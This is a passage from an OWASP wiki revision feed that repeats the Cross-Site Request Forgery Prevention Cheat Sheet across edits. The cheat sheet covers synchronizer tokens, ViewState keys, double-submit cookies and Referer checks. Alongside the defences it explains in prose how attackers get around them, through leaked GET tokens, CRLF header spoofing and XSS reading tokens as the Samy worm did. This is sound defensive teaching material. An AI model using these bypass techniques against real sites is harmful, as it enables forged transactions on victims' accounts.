Paul Petefish - paulpetefish@solutionary.com&lt;br /&gt;
&lt;br /&gt;
Eric Sheridan - eric.sheridan@aspectsecurity.com&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers@aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:How_To]] [[Category:Cheatsheets]] [[Category:OWASP_Document]] [[Category:OWASP_Top_Ten_Project]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87320</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87320"/>
				<updated>2010-08-04T19:32:11Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control, such as OWASP CSRFGuard, include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost. CSRFGuard and similar solutions attempt to address this concern in a patch-like manner without required the re-design of key application components.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article and implemented in OWASP CSRFGuard.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
CSRFGuard is a &amp;quot;reference implementation&amp;quot;. Developers are encouraged to leverage more tightly integrated solutions for performance (ex: speed of parsing HTML) and technical (ex: AJAX requests) challenges.&lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]] &lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Checking Referer Header =&lt;br /&gt;
&lt;br /&gt;
The Checking of the http Referer can be used to prevent CSRF.  The use of a checking the http Referer was used to patch the [http://www.kb.cert.org/vuls/id/643049 most dangerous csrf vulnerability] ever discovered.   This method is desirable for securing embedded network hardware such as modems, routers, and printers because it does not increase memory requirements.  The major limitation is that browsers will omit the Referer in the http header when they are being used over HTTPS.  This restriction does not apply for embedded network hardware because HTTPS is not used.  There are two known methods of bypass this method of CSRF protection.  A [http://secunia.com/advisories/22467/ CRLF vulnerability] in the http client could allow an attacker manipulate the HTTP request header and thus spoof the referer.  The other method is using XSS to write a form to a page on the target domain and then automatically submit the request. &lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF exploits difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish@solutionary.com&lt;br /&gt;
&lt;br /&gt;
Eric Sheridan - eric.sheridan@aspectsecurity.com&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers@aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:How_To]] [[Category:Cheatsheets]] [[Category:OWASP_Document]] [[Category:OWASP_Top_Ten_Project]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87319</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87319"/>
				<updated>2010-08-04T19:27:57Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control, such as OWASP CSRFGuard, include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost. CSRFGuard and similar solutions attempt to address this concern in a patch-like manner without required the re-design of key application components.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
